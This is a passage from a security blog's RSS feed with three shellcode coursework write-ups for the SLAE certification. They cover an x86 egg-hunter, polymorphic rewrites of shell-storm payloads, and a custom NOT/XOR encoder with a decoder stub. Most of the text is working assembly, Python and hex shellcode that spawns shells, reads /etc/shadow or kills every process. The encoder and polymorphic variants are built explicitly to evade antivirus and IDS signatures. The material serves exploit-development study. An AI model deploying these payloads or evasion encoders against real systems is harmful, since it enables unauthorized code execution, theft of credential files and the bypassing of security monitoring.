<p>From man page, access is used to check for user&#8217;s permission to check the destination file pathname. and mode specifies accessibility check to be performed. So for our scenario , we push the address to be validated starting with in a single page ( 4096 bytes of memory) lowest unit to test , if it returns EFAULT , we increment the page till we reach valid address space. Once we reach valid space , we iterate the page for searching occurance <strong>[tag][tag] . </strong>If we find this occurrence we jump to shell code directly which succeeds the [tag][tag] occurrence. If we do not find the tag occurrence in an entire page address , we increment to next page.  So lets see how its implemented.</p>
<p>Lets first check the syscall number for access.</p>
<p>~$ <strong>cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access</strong><br />
<strong>#define __NR_access 33</strong></p>
<p>here is the complete assembly code for egg hunter with self comments:</p>
<pre>global _start
 
section .text
 
_start:
    ; clear out ebx
    xor ebx,ebx 
        
        

 page_increment:
	; move 4096-1
        or bx, 0xfff
	

 byte_increment:
	
	;increment to next address
        inc ebx
        ; syscall for access(2)    
        push +0x21  
        pop eax

	;call interrupt    
        int 0x80
 
	; check for EFAULT in return
        cmp al, 0xf2

	; if efault then move to next page
        je page_increment 

	; if not we move address stored in ebx to edi
	mov edi,ebx

        ; and we move our egg tag to be checked to eax
        mov eax, 0x50905090

        ; scasd check eax==edi? if yes auto increment edi  
        scasd  

        ;if not move to next byte in same page
        jnz byte_increment

        ;check for second occurance of tag, if yes auto increment edi
        scasd 

        ; if not move to 
        jnz byte_increment

        ; finally jump to final shellcode following consecutive tags 
        jmp edi</pre>
<p>We make use of <strong>scasd</strong> instruction for comparision , as it compares content on <strong>eax</strong> to <strong>edi</strong> , if successfull it <strong>auto increments edi</strong> , we move address in memory to edi and compare with eax which contains our egg tag. We do this twice and finally jump to edi, As it contains our final shellcode.</p>
<p>So lets compile and fetch our shellcode :</p>
<p><strong>./compile.sh egghunter</strong></p>
<p><strong>objdump -d ./egghunter |grep &#8216;[0-9a-f]:&#8217;|grep -v &#8216;file&#8217;|cut -f2 -d:|cut -f1-6 -d&#8217; &#8216;|tr -s &#8216; &#8216;|tr &#8216;\t&#8217; &#8216; &#8216;|sed &#8216;s/ $//g&#8217;|sed &#8216;s/ /\\x/g&#8217;|paste -d &#8221; -s |sed &#8216;s/^/&#8221;/&#8217;|sed &#8216;s/$/&#8221;/g&#8217;</strong></p>
<p><em>Egg hunter shellcode : </em></p>
<p><strong>&#8220;\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7&#8221;</strong></p>
<p>Lets put this in our egghunter template c program :</p>
<pre>#include&lt;stdio.h&gt;
#include&lt;string.h&gt;


#define EGG "\x90\x50\x90\x50"

unsigned char egghunter[] ="\x31\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xf1\x89\xdf\xb8\x90\x50\x90\x50\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

// simple spawn a shell shellcode payload
unsigned char code[] = \
EGG EGG
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
	
	printf("Egghunter Length:  %d\n", strlen(egghunter));
	

	//calling egghunter 
	int (*ret)() = (int(*)())egghunter;

	ret();

}</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>I have used a simple shell spawn payload to verify this assignment . lets finally compile and execute this program  :</p>
<p>slae:~$<strong> gcc shellcode.c -o shellcode -fno-stack-protector -z execstack</strong></p>
<p>slae:~$ <strong>./shellcode</strong><br />
<strong>Egghunter Length: 32</strong><br />
<strong>$</strong></p>
<p>It works! <strong>W00tW00t</strong> <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>&nbsp;</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-egghunter-shellcode-slae-assignment-3/">Linux/x86 EggHunter shellcode (SLAE assignment 3)</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>linux/x86 polymorphic shellcode (SLAE assignment 6)</title>
		<link>https://barriersec.com/2018/11/linux-x86-polymorphic-shellcode-slae-assignment-6/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 20 Nov 2018 23:17:23 +0000</pubDate>
				<category><![CDATA[Polymorphic_shellcode]]></category>
		<category><![CDATA[polymorphic shellcode]]></category>
		<category><![CDATA[slae]]></category>
		<category><![CDATA[x86]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=293</guid>

					<description><![CDATA[<p>Hi All! Today we will take up assignment 6 from SLAE course. Main objective of this assignment : Take upto&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-polymorphic-shellcode-slae-assignment-6/">linux/x86 polymorphic shellcode (SLAE assignment 6)</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All! Today we will take up assignment 6 from SLAE course.</p>
<p>Main objective of this assignment :</p>
<p><strong>Take upto three shellcodes from shell-storm  and create polymorphic equivalent to beat pattern matching . </strong></p>
<p><strong>Polymorphic shellcode should not be greater than 150% of original shellcode.</strong></p>
<p>Many IDS/ antivirus systems detects normal signature of shellcodes, in order to evade such detection , An attacker can substitute normal instruction with the instructions which has similar functionality. we will look at three different shellcodes which can be made polymorphic in this post .</p>
<p><em><strong>Shellcode 0x1:</strong></em></p>
<p><a href="http://shell-storm.org/shellcode/files/shellcode-758.php">http://shell-storm.org/shellcode/files/shellcode-758.php</a></p>
<p><strong>original disassembly of text section: </strong></p>
<p><strong>Shellcode length : 42 bytes</strong></p>
<pre>global _start			

section .text
_start:

xor    eax,eax
push   eax
push   0x7461632f
push   0x6e69622f
mov    ebx,esp

push   eax
push   0x776f6461
push   0x68732f2f
push   0x6374652f
mov    ecx,esp

push   eax
push   ecx
push   ebx

mov    ecx,esp
mov    al,0xb
int 0x80</pre>
<p><strong>polymorphic disassembly of text section</strong>:</p>
<p><strong>Shellcode length : 55 bytes</strong></p>
<pre>; polymorphic shellcode for poly1_original
;Shellcode Length:  55
global _start			

section .text
_start:

;clear edx to zero. can be used instead of xor to clear out register
cdq
push   edx

; bypass fingerprint complete string /bin/cat
mov esi,0x8572743f
sub esi,0x11111110
mov dword [esp-4] , esi
sub esp,4

push 0x6e69622f

mov    ebx,esp

push   edx
push   0x776f6461
push   0x68732f2f
push   0x6374652f
mov    ecx,esp

push   edx
push   ecx
push   ebx

mov    ecx,esp
;leverage push to move syscall and clear instead of xor
push 0xb
pop eax
int 0x80</pre>
<p>In this first polymorphic shellcode we make use of few new instructions which perform similar functionality to traditional instructions.</p>
<p>First we make use of cdq instruction  for  zeroing edx register instead of XOR which saves us a byte. we also make use of manual pushing of data to stack to evade fingerprinting full string &#8220;/bin/cat&#8221;. and finally leverage stack calls instead of mov instruction to clear our eax register and move respective system call.</p>
<p><strong>final polymorphic shellcode :</strong></p>
<p><strong>&#8220;\x99\x52\xbe\x3f\x74\x72\x85\x81\xee\x10\x11\x11\x11\x89\x74\x24\xfc\x83\xec\x04\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\x6a\x0b\x58\xcd\x80&#8221;</strong></p>
<p><em><strong>Shellcode 0x2 :</strong></em></p>
<p>next shellcode is a simple bash shell  from shell-storm. It utilizes execve syscall to spawn a shell.</p>
<p>URL : <a href="http://shell-storm.org/shellcode/files/shellcode-811.php">http://shell-storm.org/shellcode/files/shellcode-811.php</a></p>
<p><strong>Original disassembly of text section</strong>:</p>
<p><strong>Shellcode length : 28 bytes</strong></p>
<pre>xor    eax,eax
push   eax
;push /bin/sh
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    ecx,eax
mov    edx,eax
mov    al,0xb
int    0x80
xor    eax,eax
;exit call
inc    eax
int    0x80</pre>
<p><strong>polymorphic disassembly of text section</strong>:</p>
<p><strong>Shellcode length : 23 bytes</strong></p>
<pre>;clear eax before use
sub    eax,eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx,esp
mov    ecx,eax
;zero out edx
cdq
; use stack to push syscall
push 0xb
pop eax
int    0x80</pre>
<p>Here, we can see from the original shellcode, it is utilizing execve sys call , followed by an exit call which is not needed , as execve if successful, does not return status and overwrites parent calling process text ,data and bss area.  we have replaced xor with sub to clear out eax register. and CDQ instruction which clears out edx by extending sign bit from eax(which is already cleared out). resulting shellcode is 5 bytes smaller than the original one <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><strong>final polymorphic shellcode :</strong></p>
<p><strong>&#8220;\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80&#8221;</strong></p>
<p>&nbsp;</p>
<p><em><strong>Shellcode 0x3:</strong></em></p>
<p>This short shellcode kills all running process on a x86 system. it makes use of sys_kill syscall .</p>
<p>URL : <a href="http://shell-storm.org/shellcode/files/shellcode-626.php">http://shell-storm.org/shellcode/files/shellcode-626.php</a></p>
<p><strong>Original disassembly of text section</strong>:</p>
<p><strong>Shellcode length : 11 bytes</strong></p>
<pre>;original code from : http://shell-storm.org/shellcode/files/shellcode-626.php
xor    eax,eax
mov    al,0x25
push   0xffffffff
pop    ebx
mov    cl,0x09
int    0x80</pre>
<p><strong>polymorphic disassembly of text section</strong>:</p>
<p><strong>Shellcode length : 11 bytes</strong></p>
<pre>;11 bytes
;use stack to clear out and push sys_kill syscall
push 0x25
pop eax
;push -1 directly 
push byte -1
pop ebx
push 0x9
pop ecx
int 0x80</pre>
<p>In this polymorphic shellcode we completely rely on stack operations to move data into registers.</p>
<p><strong>final polymorphic shellcode :</strong></p>
<p><strong>&#8220;\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80&#8221;</strong></p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>&nbsp;</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-polymorphic-shellcode-slae-assignment-6/">linux/x86 polymorphic shellcode (SLAE assignment 6)</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>linux/x86  &#8211; Custom Encoder</title>
		<link>https://barriersec.com/2018/11/linux-x86-custom-encoder-and-decoder/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 18 Nov 2018 09:58:47 +0000</pubDate>
				<category><![CDATA[Custom Encoder]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=277</guid>

					<description><![CDATA[<p>Hi All!  After a long gap due to health issues , i started working on assignments of SLAE course by&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-custom-encoder-and-decoder/">linux/x86  &#8211; Custom Encoder</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All!  After a long gap due to health issues , i started working on assignments of SLAE course by securitytube (<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>).  I jumped onto Assignment 4 directly as i felt this can be fun and can be taken up initially with what we have learnt from the course videos. main objective of this assignment is ,</p>
<p><strong>creation of custom encoder which helps us to evade known signatures by antivirus/IDS system.</strong></p>
<p>my custom encoder uses this simple algorithm.</p>
<p><strong>                         <em>1 . Perform NOT operation on individual shellcode byte. </em></strong></p>
<p><em><strong>                         2. Increment each shellcode byte by 2 in hex.</strong></em></p>
<p><em><strong>                         3.  perform XOR operation on each shellcode byte with 0x21</strong></em></p>
<p><em><strong>                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.</strong></em></p>
<p>This can be accomplished by using a simple python script . (custom_encoder.py). we will use an existing execve shellcode to spawn a shell.</p>
<p><strong>#!/usr/bin/python</strong></p>
<p><strong># Python custom Encoder</strong></p>
<p><strong>shellcode = (&#8220;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&#8221;)</strong></p>
<p><strong>encoded = &#8220;&#8221;</strong><br />
<strong>encoded2 = &#8220;&#8221;</strong></p>
<p><strong>print &#8216;Encoded shellcode &#8230;&#8217;</strong></p>
<p><strong>for x in bytearray(shellcode) :</strong></p>
<p><strong>  #NOT Encoding</strong><br />
<strong>  x2 = ~x</strong></p>
<p><strong>  #increment by 2</strong><br />
<strong>  x2 = x2 + 0x02</strong></p>
<p><strong> # XOR Encoding </strong><br />
<strong>  xord = x2^0x21</strong></p>
<p><strong>  #NOT operation</strong><br />
<strong>  final = ~xord</strong></p>
<p><strong>  encoded += &#8216;\\x&#8217;</strong><br />
<strong>  encoded += &#8216;%02x&#8217; % (final &amp; 0xff)</strong></p>
<p><strong>  encoded2 += &#8216;0x&#8217;</strong><br />
<strong>  encoded2 += &#8216;%02x,&#8217; % (final &amp; 0xff)</strong></p>
<p><strong>print encoded</strong></p>
<p><strong>print encoded2</strong></p>
<p><strong>print &#8216;Len: %d&#8217; % len(bytearray(shellcode))</strong></p>
<p>now we can generate the encoded shellcode as follows :</p>
<p>slae@ubuntu:~$<strong> ./custom_encoder.py</strong></p>
<p><strong>Encoded shellcode &#8230;</strong><br />
<strong>\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f</strong></p>
<p><strong>0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,</strong><br />
<strong>Len: 25</strong></p>
<p>now we need to build a decoder which performs exact same operation as encoder in reverse order.</p>
<p>that is,</p>
<p>custom decoder algorithm,</p>
<p><strong>                         <em>1 . Perform NOT operation on individual shellcode byte. </em></strong></p>
<p><em><strong>                         2. perform XOR operation on each shellcode byte with 0x21</strong></em></p>
<p><em><strong>                         3.  Decrement each shellcode byte by 2 in hex.</strong></em></p>
<p><em><strong>                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.</strong></em></p>
<p>once the decoding is done for each shellcode byte, we can finally jump to the final shellcode. And also we leverage <strong>Jump-Call-Pop</strong> technique to implement this decoder. Here we have the final decoder ( custom_decoder.nasm)</p>
<p>&nbsp;</p>
<p><strong>global _start</strong></p>
<p><strong>section .text</strong><br />
<strong>_start:</strong></p>
<p><strong>jmp short call_decoder</strong><br />
<strong>decoder:</strong><br />
<strong>pop esi</strong></p>
<p><strong>decode:</strong><br />
<strong>cmp byte [esi], 0x21</strong><br />
<strong>jz Shellcode</strong></p>
<p><strong>;in reverse of encoding NOT &gt; XOR &gt; decrementx2 &gt; NOT</strong><br />
<strong>not byte [esi]</strong></p>
<p><strong>xor byte [esi],0x21</strong></p>
<p><strong>dec byte [esi]</strong><br />
<strong>dec byte [esi]</strong></p>
<p><strong>not byte [esi]</strong></p>
<p><strong>inc esi</strong><br />
<strong>jmp short decode</strong></p>
<p><strong>call_decoder:</strong><br />
<strong>call decoder</strong><br />
<strong>Shellcode: db                             0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,0x21</strong></p>
<p>In this decoder , we first compare our shellcode with exit marker ( 0x21) if all bytes of shellcode are decoded we directly jump to the shellcode. If not , we decode each byte of shellcode. Now finally we can compile and get the shellcode as follows.</p>
<p><strong>./compile.sh custom_decoder</strong></p>
<p><strong>objdump -d ./custom_decoder | grep &#8216;[0-9a-f]:&#8217;|grep -v &#8216;file&#8217;|cut -f2 -d:|cut -f1-6 -d&#8217; &#8216;|tr -s &#8216; &#8216;|tr &#8216;\t&#8217; &#8216; &#8216;|sed &#8216;s/ $//g&#8217;|sed &#8216;s/ /\\x/g&#8217;|paste -d &#8221; -s |sed &#8216;s/^/&#8221;/&#8217;|sed &#8216;s/$/&#8221;/g&#8217;</strong></p>
<p><strong>final shellcode : </strong></p>
<p><strong>&#8220;\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21&#8221;</strong></p>
<p>&nbsp;</p>
<p>we can now place this shellcode in our template c program,</p>
<p><strong>#include&lt;stdio.h&gt;</strong><br />
<strong>#include&lt;string.h&gt;</strong></p>
<p><strong>unsigned char code[] = \</strong><br />
<strong>&#8220;\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21&#8221;;</strong></p>
<p><strong>main()</strong><br />
<strong>{</strong></p>
<p><strong>printf(&#8220;Shellcode Length: %d\n&#8221;, strlen(code));</strong></p>
<p><strong>int (*ret)() = (int(*)())code;</strong></p>
<p><strong>ret();</strong></p>
<p><strong>}</strong></p>
<p>We compile and execute this program to get the expected shell.</p>
<p><strong>gcc shellcode.c -o shellcode -fno-stack-protector -z execstack</strong></p>
<p><strong>slae@ubuntu:~/$ ./shellcode</strong><br />
<strong>Shellcode Length: 53</strong><br />
<strong>$ </strong></p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4">https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>&nbsp;</p>
<p>SLAE student ID :  <strong>SLAE &#8211; 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-custom-encoder-and-decoder/">linux/x86  &#8211; Custom Encoder</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
